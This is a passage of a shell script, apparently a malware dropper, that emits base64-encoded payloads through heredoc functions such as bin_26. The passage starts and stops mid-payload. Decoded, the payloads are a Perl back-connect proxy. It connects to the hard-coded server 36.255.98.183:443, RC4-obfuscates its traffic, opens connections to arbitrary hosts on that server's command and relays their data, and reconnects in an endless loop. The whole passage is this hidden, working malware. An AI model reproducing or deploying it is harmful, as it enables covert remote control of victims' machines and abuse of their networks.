MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_26() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODMnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
